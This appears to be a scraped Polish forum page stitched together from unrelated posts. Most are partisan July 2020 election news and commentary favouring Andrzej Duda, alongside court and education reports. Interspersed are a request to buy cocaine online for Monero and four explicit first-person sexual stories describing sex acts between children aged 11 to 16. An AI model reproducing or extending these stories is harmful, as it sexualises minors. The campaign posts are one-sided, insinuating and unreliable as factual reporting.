"Kradzież nawet małego znicza jest przestępstwem. Jeśli zauważymy zachowanie świadczące o ograbianiu grobu, nie wahajmy się zawiadomić policji. Pamiętajmy, że szybkie zgłoszenie pozwoli funkcjonariuszom podjąć natychmiastowe i skuteczne działania. Wszyscy odwiedzający groby najbliższych, którzy zauważą podejrzanie zachowujące się osoby, powinni natychmiast kontaktować się z policją pod nr 997 lub 112"

- podkreśliła Orłowska.

R: 12 / I: 0 / P: 23

Nie wolno pozwolić wrócić do władzy tym, którzy pozwalali nas okradać

Nie wolno pozwolić wrócić do władzy tym, którzy pozwalali nas okradać, bo ci ludzie nie umieją jej sprawować w sposób odpowiedzialny - mówił w Łomży (woj. podlaskie) prezydent Andrzej Duda. Wskazywał, że od 2015 r. realizowana jest polityka dla człowieka i dla rodziny.

Prezydent podczas spotkania z mieszkańcami Łomży mówił m.in. o kryzysie związanym z epidemią koronawirusa i pomocy mającej na celu ochronę miejsc pracy. Przypomniał o wdrożeniu tarcz - antykryzysowej i finansowej, z których do przedsiębiorców trafiło ponad 100 mld zł.

Andrzej Duda stwierdził, że zadaniem na przyszłe lata jest uczynienie wszystkiego, by nie powróciło bezrobocie z lat 90. Zwrócił uwagę, że zaraz po Czechach, mamy najniższe bezrobocie w Europie.

Udaje nam się obniżać deficyt budżetowy. Ten deficyt budżetowy od stycznia do maja wynosił 25 mld. Ale od stycznia do czerwca już tylko 17 mld, dlatego, że gospodarka zaczęła działać, dlatego że podatki dobrze wpływają, dlatego że wcześniej uszczelniliśmy VAT. Nie ma już dzisiaj tej gigantycznej 50-miliardowej dziury VAT, w której gubiła nasze pieniądze Platforma Obywatelska. Oby to już nigdy do nas nie wróciło.

- mówił prezydent.

Andrzej Duda nawiązał również do rządów ekipy PO-PSL. Nie szczędził słów krytyki:

Nie wolno pozwolić wrócić do władzy tym, którzy pozwalali nas okradać. Nie można było tego tolerować, a teraz nie wolno im pozwolić wrócić do władzy z powrotem, bo ci ludzie nie umieją jej sprawować w sposób odpowiedzialny. 8 lat i doprowadzili do takiej sytuacji, że 50 mld VAT-u ginęło z państwowej kasy.

- wskazywał prezydent.

Jak dodał, były to rządy „przeciwko ludziom”.

Prezydent podkreślił, że od 2015 r. polityka zaczęła być realizowana dla człowieka i dla rodziny. Wymienił m.in. wprowadzenie „500 plus”, „300 plus”, darmowych leków dla seniorów i kobiet w ciąży, 13. emeryturę.

Poprosił o wsparcie, by „ta polityka rozwijania Polski mogła być kontynuowana”.

Chciałbym prosić żebyśmy dalej nazywali naszych bohaterów bohaterami, zdrajców zdrajcami, żebyśmy się nie bali mówić prawdziwym językiem, żebyśmy się nie dawali zaszczuć poprawnością polityczną wciskaną nam przez liberalno-lewicowe media i liberalno-lewicowe środowiska, żeby w Polsce była prawdziwa wolność słowa.

- podkreślił Andrzej Duda.

Wtorek, godzina 20:30. „Kilka” osób na spotkaniu z Prezydentem @AndrzejDuda #DUDA2020 w Łomży!

MOOOC! Łomża ma siłę!

🇵🇱🇵🇱🇵🇱🇵🇱✌️ pic.twitter.com/7FqUyi9eu6

— Marcin Czapliński (@czaplinskiii) July 7, 2020

R: 1 / I: 0 / P: 23

Musimy zawalczyć o Polskę!

Przed nami ostatnie dni kampanii wyborczej. Od nich będzie zależało, czy i jak będzie rozwijała się nasza ojczyzna. Polityczny salon III RP nie cofnie się przed niczym, aby wygrał jego faworyt, Rafał Trzaskowski.

Dobitnie pokazał to ostatni tydzień, kiedy opozycyjny sojusz dziennikarsko-polityczny za wszelką cenę próbował oczernić prezydenta Andrzej Dudę i sprowokować go do popełnienia błędów, które byłyby wykorzystywane do końca kampanii!

Najpierw miała miejsce próba obrzydliwego wykorzystywania w kampanii prezydenckiego aktu łaski, z którym wystąpiła do prezydenta ofiara przemocy seksualnej. Sprawa niejednoznaczna, skomplikowana prawnie i delikatna społecznie została wykorzystana w kampanijnej wojnie, a osoby mówiące o obronie ofiar przemocy za nic miały uczucia ofiary tego zdarzenia. Liczyło się tylko, by uderzyć w prezydenta. Atak ten powtórzył w Lesznie Rafał Trzaskowski.

Przeciwnicy dobrej zmiany nie cofną się przed niczym. Nawet przed kłamstwem – jak to, że jeśli oddało się głos w pierwszej turze, to w drugiej już nie trzeba iść do urn. Trzeba! To tam za kilka dni odbędzie się prawdziwe starcie dwóch zupełnie różnych wizji naszego kraju. Podejmijmy tę walkę.

R: 0 / I: 0 / P: 23

Kandydat na glinianych nogach

Podczas „debaty” w Lesznie Rafał Trzaskowski ewidentnie się zdenerwował po pytaniu o Jolantę Lange, wcześniej Gontarczyk, która była niebezpiecznym współpracownikiem Służby Bezpieczeństwa. Udawał, że nie zna tematu. Problem jest jednak taki, że osobiście zadawałem pytanie o tę osobę 20 sierpnia 2019 r.

Wtedy rzecznik urzędu miasta Kamil Dąbrowa obiecał, że odpowie nazajutrz. Nie odpowiedział do dzisiaj i chyba już nie odpowie, bo nie jest już rzecznikiem.

Z bełkotliwej wypowiedzi kandydata na prezydenta nie dało się wywnioskować, czy otworzy szeroko drzwi dla funkcjonariuszy Służby Bezpieczeństwa i czy przeszkadza mu fakt, że osoba, której fundacji przelał 2 mln zł, inwigilowała ks. Franciszka Blachnickiego. Przyglądając się Trzaskowskiemu z bliska, widać, że na ostatniej prostej kampanii nie wytrzymuje ciśnienia. Pytania o poglądy, działania w Warszawie i program wreszcie go dogoniły. Okazało się, że nie ma na żaden z tych tematów nic do powiedzenia. Ten kolos opozycji wydaje się mieć dzisiaj gliniane nogi.

Prezydent Warszawy nie jest jeszcze politykiem formatu prezydenckiego. Na razie mógłby pokazać się z dobrej strony w stolicy. Pytanie, czy będzie mu się chciało.

R: 0 / I: 0 / P: 23

Chamscy zadymiarze sterowani przez posła KO

Czy posłowie opozycji współpracują z osobami zakłócającymi wiece polityków Zjednoczonej Prawicy? Portal Niezalezna.pl dotarł do zdjęć, na których widzimy, jak grupa osób przeszkadzających w spotkaniu premiera Morawieckiego z mieszkańcami Piotrkowa Trybunalskiego, po zakończonym wiecu spotyka się z Cezarym Grabarczykiem. Mamy również nagranie!

Premier Mateusz Morawiecki na spotkaniu w Piotrkowie Trybunalskim akcentował, że polityka musi być prowadzona z myślą o każdej rodzinie. "Nie chcemy zapaści średniej wielkości miast. Piotrków Trybunalski, który miał szansę rozwijać się wspaniale, w latach III RP ogromnie ucierpiał, nie było tu środków na budowę dróg lokalnych" - mówił Morawiecki.

Krytykował rządy PO-PSL za zaniedbanie realizacji potrzeb małych i średnich miast. Negatywnie odnosił się także do wypowiedzi publicznych kandydata KO Rafała Trzaskowskiego.

"Panie Trzaskowski - tu jest Polska, nie na salonach, które pan reprezentuje, nie na salonach brukselskich. Nie obłuda, łgarstwo, nie wieczorem inny pogląd niż rano. Jeszcze niedawno politykę społeczną jak ją nazywał? Z pogardą - rozdawnictwo"

- mówił premier. "Dzisiaj przykleja się do PiS-u. Panie Trzaskowski - to zapraszamy do PiS. Choć nie wiem, czy w demokratycznym głosowaniu zostałby pan przyjęty, ale zapraszamy, jak chce pan aplikować" - dodał szef rządu.

Według Morawieckiego, wybór w II turze wyborów, to wybór między Andrzejem Dudą, którego określił "prezydentem wszystkich Polaków", a Rafałem Trzaskowskim, którego nazwał "prezydentem salonów europejskich".

W trakcie spotkania premiera Mateusza Morawieckiego pewna grupa zwolenników Rafała Trzaskowskiego próbowała zakłócić jego przebieg. Niektóre z tych osób spotkały się później z… Cezarym Grabarczykiem. Portal Niezależna.pl dotarł do zdjęć.

Choć nie wiemy, czy te osoby były w jakiś sposób wspierane przez polityków PO, to jednak wiemy, że takie sytuacje były również w innych miastach, które odwiedził zarówno premier Morawiecki, jak i walczący o reelekcję Andrzej Duda.

Jak to wyglądało? Sytuację zarejestrowano na poniższym nagraniu.

ZOBACZ:

https://static.ftpn.pl/player/player2.php?f=/uploads/dokumenty/339600/vid-20200708-wa0012.mp4

R: 1 / I: 0 / P: 23

„Tu jest Polska, nie na salonach, które pan reprezentuje”

- Nie chcemy zapaści średniej wielkości miast. Panie Trzaskowski - tu jest Polska, nie na salonach, które pan reprezentuje, nie na salonach brukselskich. Nie obłuda, łgarstwo, nie wieczorem inny pogląd niż rano - mówił premier Mateusz Morawiecki na spotkaniu w Piotrkowie Trybunalskim (woj. łódzkie).

Szef rządu akcentował, że polityka musi być prowadzona z myślą o każdej rodzinie i o miastach, takich jak Piotrków Trybunalski.

"Nie chcemy zapaści średniej wielkości miast. Piotrków Trybunalski, który miał szansę rozwijać się wspaniale, w latach III RP ogromnie ucierpiał, nie było tu środków na budowę dróg lokalnych"

- mówił Morawiecki.

Krytykował rządy PO-PSL za zaniedbanie realizacji potrzeb małych i średnich miast. Negatywnie odnosił się także do wypowiedzi publicznych kandydata KO Rafała Trzaskowskiego.

"Panie Trzaskowski - tu jest Polska, nie na salonach, które pan reprezentuje, nie na salonach brukselskich. Nie obłuda, łgarstwo, nie wieczorem inny pogląd niż rano. Jeszcze niedawno politykę społeczną jak ją nazywał? Z pogardą - rozdawnictwo"

- mówił premier.

"Dzisiaj przykleja się do PiS-u. Panie Trzaskowski - to zapraszamy do PiS. Choć nie wiem, czy w demokratycznym głosowaniu zostałby pan przyjęty, ale zapraszamy, jak chce pan aplikować"

- dodał szef rządu.

Według premiera Morawieckiego, wybór w II turze wyborów, to wybór między Andrzejem Dudą, którego określił "prezydentem wszystkich Polaków", a Rafałem Trzaskowskim, którego nazwał "prezydentem salonów europejskich".

R: 1 / I: 0 / P: 23

Małoletnia nie zostanie wydana

Kasację od wyroku sądu apelacyjnego, który nakazał wydanie małoletniej dziewczynki ojcu przebywającemu na terenie Rosji, skierował do Sądu Najwyższego Prokurator Generalny - podała Prokuraturze Krajowej.

W kasacji podkreślono, że ojciec nigdy nie opiekował się samodzielnie dzieckiem, a w 2016 r. zupełnie je opuścił. Zdaniem prokuratury, powrót dziewczynki pod opiekę mężczyzny bez bliskości matki może narazić dziecko na szkodę fizyczną lub psychiczną. Prokuratura wskazała też w skardze, że w Rosji dziewczynka nie będzie miała zapewnionej odpowiedniej ochrony prawnej z uwagi na brak jurysdykcji sądów rosyjskich do rozstrzygania spraw tej rodziny.

Chodzi o sprawę urodzonej w Polsce dziewczynki, której rodzice Holender i Polka - przenieśli się następnie z Holandii do Rosji w związku z obowiązkami zawodowymi ojca. Para rozstała się, a we wrześniu 2018 r. matka z córką wróciły na stałe do Polski.

Wcześniej od 2017 r. w rosyjskich sądach toczyły się sprawy o alimenty i kontakty córki z ojcem. Sądy te uznały jednak, że nie mają uprawnień do orzekania w sprawie tej rodziny, ponieważ rodzice nie są obywatelami Rosji i nie mieli też na jej terytorium stałej rezydencji. W konsekwencji ojciec wystąpił o wydanie dziecka w trybie konwencji haskiej.

Warszawski sąd okręgowy rozpoznając tę sprawę w I instancji oddalił ten wniosek i uznał, że zamieszkanie dziewczynki z ojcem w Rosji pozbawiałoby możliwości ochrony praw tego dziecka.

Ojciec odwołał się od tego orzeczenia. W konsekwencji Sąd Apelacyjny w Warszawie nakazał matce zapewnienie powrotu małoletniej do Rosji, w terminie 14 dni od uprawomocnienia się orzeczenia. Sąd odmówił przy tym wiarygodności zeznaniom kobiety z uwagi na stopień skonfliktowania stron.

Zastępca Prokuratora Generalnego Robert Hernand wniósł do Sądu Najwyższego skargę kasacyjną od tego wyroku, w której zwrócił się o uchylenie wyroku i przekazanie sprawy do ponownego rozpoznania. Zdaniem prokuratury, dziewczynka nie ma zapewnionej odpowiedniej ochrony swych praw na terytorium Rosji. Przypomniano przy tym, że sądy rosyjskie nie mają właściwości do rozpoznawania spraw osób, które nie są obywatelami tego kraju.

Według prokuratury, odmowa udzielenia ochrony prawnej dziecku przez sądy rosyjskie stanowi naruszenie jego dobra także w kontekście praw człowieka i podstawowych wolności.

W skardze wskazano też, że sąd apelacyjny zupełnie nie wziął pod uwagę, iż ojciec jest korespondentem wojennym i ze względu na specyfikę swojego zawodu nie będzie w sposób prawidłowy sprawować opieki nad córką. Według prokuratury, sąd pominął także, że mężczyzna nigdy samodzielnie nie sprawował opieki nad małoletnią, a w 2016 roku zupełnie ją opuścił.

W opinii prokuratury, w Polsce - u boku matki - dziecko ma zapewnione wszelkie warunki konieczne do dalszego prawidłowego rozwoju, poczucie bezpieczeństwa i możliwość dochodzenia swoich praw przed sądami.

W kasacji wskazano też, że opinia biegłych, na której oparł się sąd apelacyjny jest nierzetelna i pomija całokształt materiału dowodowego. Według prokuratury, z zebranych dowodów wynika, że dziecko pozostające pod opieką ojca w Rosji znajdzie się w sytuacji wybitnie stresowej, nie zapewniającej poczucia bezpieczeństwa.

R: 0 / I: 0 / P: 23

Niemiecki samochód wozi reklamy Trzaskowskiego

Auto na niemieckich numerach rejestracyjnych pomaga w kampanii wyborczej Rafała Trzaskowskiego, jeżdżąc po Szczecinie z banerem kandydata Koalicji Obywatelskiej - poinformował na Twitterze były radny tego miasta Marek Duklanowski. "To Polacy nie chcą?" - zapytał, wywołując falę komentarzy.

Kampania wyborcza jest już na "ostatniej prostej", a sztaby obu kandydatów rzucają wszystkie siły, by przekonać Polaków do głosowania. W wielu miejscowościach kursują samochody, które ciągną za sobą przyczepkę z banerem kandydata - to akurat dość powszechna praktyka kampanijna.

I właśnie na taki samochód, za którym widać baner Rafała Trzaskowskiego, zwrócił uwagę Marek Duklanowski ze Szczecina. Na zdjęciu widać, że to auto z Niemiec - ma nawet niemieckie numery rejestracyjne.

- Niemiecki samochód wozi reklamy Pana Rafała po Szczecinie. To Polacy nie chcą? Przypadek?

- pyta na Twitterze były radny miasta.

Niemiecki samochód wozi reklamy Pana Rafała po #Szczecin.

To Polacy nie chcą?

Przypadek? pic.twitter.com/F1iw6MdSWI

— Marek Duklanowski #DUDA2020 (@duklanowski) July 7, 2020

Wpis wywołał wiele komentarzy internautów, którzy zastanawiają się, skąd właśnie taki pomysł na kampanię wyborczą:

Znamienne.

— e.mlynarska (@dimarestElla) July 8, 2020

Nie będzie śladu po kosztach…

— Jacek Annasson (@JacekAnnasson) July 8, 2020

R: 0 / I: 0 / P: 23

Kukiełka Bilderbergów nie umie korzystać z informacji publicznej

Kandydat Koalicji Obywatelskiej na prezydenta Rafał Trzaskowski zaapelował do prezydenta Andrzeja Dudy, aby do jutrzejszego wieczora ujawnił informacje dotyczące ułaskawień. Zdaniem Trzaskowskiego, system ułaskawień musi być jak najbardziej przejrzysty. Na odpowiedź nie musiał długo czekać. "Wszelkie informacje o ułaskawieniach podjętych przez prezydenta Andrzeja Dudę są dostępne na stronie internetowej prezydenta" - przekazał rzecznik prezydenta RP, Błażej Spychalski.

Na konferencji prasowej w Trzciance (woj. wielkopolskie) Trzaskowski stwierdził, że lista osób ułaskawionych przez prezydenta Andrzeja Dudę budzi "mnóstwo wątpliwości i pytań". W związku z tym kandydat KO zaapelował do prezydenta o ujawnienie informacji dotyczących ułaskawienia: trzech osób skazanych za handel narkotykami w ramach zorganizowanej grupy przestępczej, trzech osób, które zostały skazane za znęcanie się nad rodziną oraz jednej osoby skazanej za morderstwo.

"Ułaskawienia są bardzo ważnym elementem prezydentury i warto, żeby ten system był jak najbardziej przejrzysty. Nie chodzi tu oczywiście o dane osobowe, tylko o kategorie przestępstw. Chodzi o to, żeby opinia publiczna mogła poznać wszystkie szczegóły"

- oświadczył kandydat KO.

Rzecznik prezydenta pytany o apel Trzaskowskiego, podkreślił, że "wszelkie informacje o ułaskawieniach podjętych przez prezydenta Andrzeja Dudę są dostępne na stronie internetowej prezydenta".

Portal TVN24, powołując się na dane z strony prezydenta, napisał wczoraj, że przez pięć lat urzędowania Andrzej Duda ułaskawił 95 osób. Są wśród nich osoby skazane za zabójstwo, rozboje, znęcanie się nad rodziną, handel narkotykami. Portal podał m.in., że na liście są trzy osoby skazane za dystrybucję środków odurzających w ramach zorganizowanych grup przestępczych. W ich przypadku prezydent przywoływał "trudne sytuacje rodzinne skazanych, będących jedynymi żywicielami rodziny, nadto opiekującymi się ciężko chorymi dziećmi, pozytywne prognozy kryminologiczne, a także dobre opinie środowiskowe skazanych".

R: 5 / I: 1 / P: 23

gdzie kupie w necie dobry koks za monero?

R: 2 / I: 0 / P: 23

Która i dlaczego?

R: 0 / I: 0 / P: 23

Szybkie przejście na nauczanie zdalne

- Chcemy wprowadzić rozwiązanie, które umożliwi szybkie przejście na nauczanie zdalne w sytuacji zagrożenia epidemicznego. Prawdopodobnie to dyrektor szkoły będzie miał możliwość podjęcia takiej decyzji – powiedział minister edukacji narodowej Dariusz Piontkowski. "Zakładamy, że od września wrócimy do stacjonarnych zajęć w szkołach. Ostateczną decyzję w tej sprawie podejmiemy po konsultacjach z głównym inspektorem sanitarnym i ministrem zdrowia" - dodał.

W wywiadzie dla "Dziennika Gazety Prawnej" szef MEN pytany był m.in. o zapowiedziany powrót od 1 września do tradycyjnej stacjonarnej nauki w szkołach.

Zaznaczył, że epidemia jest na stabilnym poziomie. Wskazał, że częściowe otwarcie przedszkoli i szkół nie spowodowało zwiększenia zachorowań, tak samo przeprowadzone egzaminy. "To pozwala przypuszczać, że uruchomienie tych placówek na większą skalę także nie spowoduje większego zagrożenia epidemicznego" - powiedział. "Zakładamy, że od września wrócimy do stacjonarnych zajęć w szkołach. Ostateczną decyzję w tej sprawie podejmiemy po konsultacjach z głównym inspektorem sanitarnym i ministrem zdrowia" - dodał.

Pytany, czy będę wprowadzone przepisy, które dawałyby możliwość szybkiego przejścia na zdalne nauczanie, jeśli w klasie lub szkole pojawi się ognisko koronawirusa, odpowiedział:

"Chcemy takie rozwiązanie wprowadzić. Prawdopodobnie to dyrektor będzie miał możliwość przechodzenia na kształcenie zdalne w sytuacji zagrożenia epidemicznego w poszczególnych placówkach. Dziś minister edukacji może zawiesić funkcjonowanie szkół na terenie całego kraju, województwa, gminy lub powiatu, ale jednej szkoły lub klasy już nie. Dlatego stworzymy przepisy, które pozwolą dyrektorowi przejść na zdalne nauczanie, jeśli dojdzie do sytuacji nadzwyczajnej, np. zakażenia, powodzi, zerwania dachu".

Minister dopytywany, dlaczego ma o tym decydować dyrektor szkoły, a nie kurator, wyjaśnił, że kurator oświaty nadzoruje tysiące szkół i przedszkoli.

"Zastanawiamy się jednak, czy dyrektor szkoły przed podjęciem decyzji o przejściu na zdalne nauczanie nie powinien wystąpić o opinię do kuratorium. W czasie pandemii zostawiliśmy dyrektorom dużo swobody i to się sprawdziło. Szkoły mają bardzo dużą autonomię także przy stacjonarnej formule nauczania. Nauczyciel ma przecież możliwość swobodnego wyboru podręczników i metod nauczania"

- powiedział.

Dodał, że rozważane jest czy wprowadzić standardy, które pozwoliłyby nawet przy stacjonarnym kształceniu korzystać ze zdalnej edukacji – w sytuacjach nadzwyczajnych, a także wtedy, kiedy dzieci są dłuższy czas chore i przebywają w domu. Jak mówił, nauczyciele mogliby się zdalnie z nimi łączyć i prowadzić w ten sposób część zajęć.

Minister pytany był też o to, czy będzie jednolita platforma do nauki zdalnej.

"Ona już jest – epodręczniki.pl. Podczas kształcenia na odległość codziennie było ponad milion odsłon, od połowy marca do końca czerwca łącznie ponad 100 mln. Korzystało z niej kilkaset tysięcy użytkowników dziennie. Większość funkcjonalności już ma. Pracujemy nad ostatnim elementem, którym jest komunikator wideo. W sierpniu takie rozwiązanie powinno już funkcjonować. Będziemy też pracowali nad zwiększeniem liczby materiałów w formie elektronicznej. Nie widzę przeszkód, aby nauczyciel podczas lekcji stacjonarnej, korzystał z tej platformy"

- wskazał.

Pytany był również, czy jeśli w nowym roku szkolnym po powrocie do kształcenia stacjonarnego w szkole pojawi się ognisko wirusa, to czy nauczyciel na kwarantannie będzie pracować zdalnie. "Nad tym także się zastanawiamy" - odpowiedział. Dopytywany, czy będzie to możliwe za zgodą nauczyciela czy dyrektor może mu to polecić, zaznaczył, że jest to do rozważenia. "Dopiero pracujemy nad tymi przepisami. Trzeba będzie jednak w tych przypadkach wprowadzić pewne zasady" - powiedział.

R: 0 / I: 0 / P: 23

Mój pierwszy raz przezylem w wieku 14 lat

Mój pierwszy raz przezylem w wieku 14 lat.Bylo to po lekcjach, zaproponowalem kolezance z klasy, ze pomoge jej w matmie z której byla slaba.

Przyszlismy do mojego domu, a ze byl to maj, bylo goraco to rozebralem sie do bokserek. Mój widok tak bardzo ja podniecil ze szybkim ruchem mi je zdjela i wziela mojego pokaznego fiutka do ust, a miala co brac, gdyz jestem hojnie obdarzony przez nature (mój penis mial juz wtedy 19 cm) i zaczela ssac szybko doprowadzajac mnie do orgazmu i obfitego wytrysku. Na tym sie jednak nie skonczylo, ja rozebralem ja i powoli zaczalem wkladac jej fiutka w cipke, zaczalem przyspieszac i walilem ja coraz szybciej, trwalo to chyba 10 minut i znów przezylem orgazm. Jestem jednak chlopakiem o duzych potrzebach seksualnych i po paru minutach wszedlem w nia od tylu, mój ogier rozpalal jej wnetrznosci i znów w niej eksplodowalem. Bylo to super uczucie,którego nigdy nie zapomne.

R: 0 / I: 0 / P: 23

Mam 16 lat

Mam 16 lat i po raz pierwszy masturbowałam sie w wieku 14 lat. Pewnego lata pojechałam z cioteczną siostrą pod namiot. Wieczorem zaczął padać deszcz więc siedziałyśmy w namiocie i czytałyśmy czasopisma. Nagle Aga zaczęła czytać artykuł o masturbacji ja słuchałam leżąc na plecach ona siedziała. Kiedy skończyła czytać zaczęła pytać mnie czy sie masturbuję, odpowiedziałam że nie, bo nie wiem jak to się robi. Wtedy ona zaproponowała mi ze mi pokaże i zdjęła bluzę pod którą nie miała stanika, potem zdjęła spodnie pod którymi miała skromne majteczki. Widok pół nagiej siostry zamurował mnie. Aga pochyliła sie nademną i pocałowała w usta, to był cudowny długi pocałunek. Jak sparaliżowana nie mogłam sie ruszyć. Po tym zaczęła mnie rozbierać. Kiedy byłam zupełnie naga zaczęła delikatnie pieścić moje piersi najpierw rękami a potem ustami. To było wspaniałe uczucie. Po kilku minutach położyłam się a ona włożyła mi głowę między nogi poczułam dotyk jej ciepłego, wilgotnego języczka. Najpierw na wargach a potem na łechtaczce. Jej języczek był tak cudowny że natychmiast ogarneła mnie fala rozkoszy. Najpierw jedna a potem następne. Leżałam bez ruchu przez kwadrans a potem ja zaczęłam lizać jej cipkę, piersi. Następnego dnia i do końca pobytu pod namiotem uprawiałyśmy seks. Po powrocie do domu przychodziła do mnie albo ja do niej i kochałyśmy się ze sobą. Nasze zabawy trwają do dzisiaj.

R: 0 / I: 0 / P: 23

PRO! STY! TUC! JA!

Funkcjonariusze rzeszowskiej delegatury Centralnego Biura Antykorupcyjnego zatrzymali byłego sędziego Sądu Okręgowego w Przemyślu - poinformował dziś wydział komunikacji społecznej. Mężczyzna jest podejrzany o przyjęcie korzyści majątkowej. Usłyszał już zarzuty.

Jak zaznaczono w komunikacie, czynności przeprowadzono po rozpoznaniu przez Izbę Dyscyplinarną Sądu Najwyższego zażalenia na uchwałę Sądu Apelacyjnego w Warszawie w kwestii wyrażenia zgody na zatrzymanie i tymczasowe aresztowanie sędziego.

Zatrzymany został doprowadzony do Wydziału Spraw Wewnętrznych Prokuratury Krajowej, gdzie usłyszał zarzuty.

Ze zgromadzonego w sprawie materiału dowodowego wynika, że sędzia miał przyjąć korzyść majątkową w wysokości 100 tys. zł. w zamian za korzystne rozstrzygnięcie sprawy karnej przedsiębiorcy działającego na terenie Podkarpacia.

W tej sprawie dotychczas zarzuty usłyszało cztery osoby. Wobec dwóch z nich prokurator zastosował środek zapobiegawczy w postaci tymczasowego aresztowania.

Wkrótce więcej informacji.

R: 0 / I: 0 / P: 23

Mialem wtedy 15 lat

Mialem wtedy 15 lat, bylo to latem na wakacje. Jak zawsze siedzialem z kolega na lawce na miescie i gadalismy o panienkach. Zrobilo sie ciemniej nie bylo nas widac i nagle…. Poczulem ze cos wlazi mi do spodnie oczywiscie szybko zorientowalem sie ze to reka mojego kolegi, nic nie zrobilem, pozwolilem mu "dzialac" dalej :) Zaczal sie bawic moimi wlosami lonowymi (tak jak by nie mial swoich:))

Nastepnie zaczal mi marszczyc gruche a mi sie to podobalo. Bylem bardzo podniecony wiec nie potrzebowalem duzo czasu zeby dojsc do konca. Szybko rozpialem spodnie i mój nektar zasilil miejska trawe.

Zaproponowalem zebysmy sie przeniesli gdzies dalej, poszlismy do parku i tam sie zaczelo. Polozylem sie na lawce on na mnie tak ze wyszlo 69 i sie dowiedzialem jak to jest zrobic komus loda. Pózniej nachylilem sie a on wiechal we mnie i spuscil mi sie w tylek no ale oczywiscie nie odpuscilem mu i zrobilem to samo ale on sie nie musial przejmowac bo ja juz 3 raz sie spuszczalem i zbytnio nie mialem czym. Na drugi dzien zasmialismy sie i poszlismy do mnie. Zaczelo sie wszystko od poczatku. Do dzisiaj robimy to razem ale czesciej zapraszamy do siebie jakas dziewczyne lub dwie:)

Pronto z Tylicza

R: 1 / I: 0 / P: 24

Niemcy toczą wojnę informacyjną z Polską

Podczas wyborów prezydenckich wiodące media w Niemczech bombardują niemiecką i polską opinię publiczną negatywnymi doniesieniami o Andrzeju Dudzie i pozytywnymi o Rafale Trzaskowskim, by „pomóc” Polakom w podjęciu „właściwej” decyzji - uważa belgijski historyk, profesor David Engels.

Prof. Engels przyznaje, że od kiedy przeprowadził się do Polski i jest w stanie porównać doniesienia medialne o Polsce za granicą z tym, co naprawdę dzieje się w tym kraju, wstrząsnęła nim rażąca różnica między dwoma obrazami, a najbardziej widoczne jest to w przypadku mediów niemieckich.

- Nie chcę nadmiernie generalizować i sugerować, że wszyscy dziennikarze lub media są podobni, ponieważ wciąż istnieją pewne znaczące wyjątki, jednak wyraźne jest, jak jednostronnie niemieckie media wypowiadają się zazwyczaj o Polsce

- mówi historyk z Universite Libre de Bruxelles.

Według prof. Engelsa "dosłownie każdego dnia główne niemieckie czasopisma i stacje telewizyjne oddają się publikacji rażąco jednostronnych materiałów, w których lewicowo-liberalni politycy przedstawiani są jako kosmopolityczni bohaterowie w lśniącej zbroi, usiłujący uratować swój kraj przed ruiną gospodarczą, duchownymi-pedofilami, nietolerancyjnymi homo- i islamofobami oraz nikczemnymi i dyktatorskimi ministrami, podczas gdy ich zadanie utrudniają uparci, bezduszni i prostaccy chłopi z Europy Wschodniej".

Sugerowany przez media niemieckie „właściwy kurs” dla Polski, polega - w opinii historyka - "na przyjmowaniu masowej imigracji, wprowadzaniu różnorodności seksualnej już na poziomie szkolnym, poddawaniu wszystkich przejawów demokracji krajowej brukselskiej technokracji, zastępowaniu chrześcijańskiego charakteru narodu polskiego wielokulturowym relatywizmem, cenzurowaniu wszystkich mediów, które nie podporządkowują się politycznej poprawności, dystansowaniu się od Stanów Zjednoczonych (prezydenta USA Donalda) Trumpa i - oczywiście - poddawaniu żywotnych interesów państwa potrzebom europejskich sąsiadów, to znaczy, oczywiście, niemieckiej gospodarki".

- Kampania ta jest bezspornie nie tylko owocem zwykłej różnicy zdań w polityce - w końcu ożywiony dyskurs między przeciwstawnymi stanowiskami jest podstawą demokracji - ale bardzo świadomy wynikiem chęci wpłynięcia na niemiecką (a także polską) opinię publiczną

- sądzi prof. Engels.

R: 0 / I: 0 / P: 24

Czesc!

Czesc!. Mam 17 lat.

Mialem wtedy 11,5 lat. Na wakacje przyjechal do nas mój starszy kuzyn (u nas obchodzil 13 urodziny). Kuzyn spal w moim pokoju. Pewnej nocy zauwazylem, ze Arek (bo tak ma na imie kuzyn) sie onanizuje. Obserwowalem go przez kilka minut, az w koncu tez mi stanal. Arek zauwazyl ze go obserwuje i zaproponowal wspólna masturbacje. Zdjalem wtedy spodenki od pizamy i zaczalem sie masturbowac. W czasie masturbacji rozmawialismy o seksie.

Okazalo sie ze kuzyn onanizuje sie od 9 roku zycia (ja zaczalem sie onanizowac w wieku 10,5 lat). Zaczelismy porównywac nasze penisy, kuzyn juz wtedy byl hojnie obdarzony -jegopenis mial 16 cm dlugosci, a teraz 21 cm (mój penis mial wtedy zaledwie 12 cm, a w tej chwili 19 cm). zaczelem sie bawic jego bujnym owlosiem (ja mialem wtedy dosc skromne). Wtedy kuzyn zaproponowal, zebym skrecil mu loda. Wzielem jego penisa do ust, po chwili poczulem jak cieply strumien wydobywa sie s penisa kuzyna. Okazalo sie, ze sie mi spuscil do ust. Polknelem sperme i wylizalem mu penisa. Nastepnie on wzial mojego do ust i zaczal sie nim zabawiac. Po kilku minutach po raz pierwszy w zyciu mialem wytrysk. Bylo to cudowne uczucie. Od tamtej pory do konca wakacji co noc sie onanizowalismy.

R: 0 / I: 0 / P: 24

Biały nie znaczy biały, czarny znaczy czerwony

Za czasów komuny wszelkie niedobre dla Zachodu wydarzenia – zamordowanie Johna F. Kennedy’ego, krwawe rewolucje wybuchające nagle w odległych zakątkach świata, pacyfistyczne, a w istocie antyamerykańskie ruchy młodzieżowe, niespodziewane zgony emigrantów antykomunistów, próba zabójstwa naszego papieża – instynktownie klasyfikowaliśmy jako wynik działania długiej ręki Kremla i po latach zawsze się okazywało, że mieliśmy rację. No, może z wyjątkiem kompletnie zamotanej sprawy Kennedy’ego, gdzie wszakże sam udział Lee Oswalda, w końcu komunisty, a nawet krótkotrwałego obywatela Związku Sowieckiego, wskazuje przynajmniej na współudział Sowietów.

Czarny w duchu rewolucyjno-marksistowskim

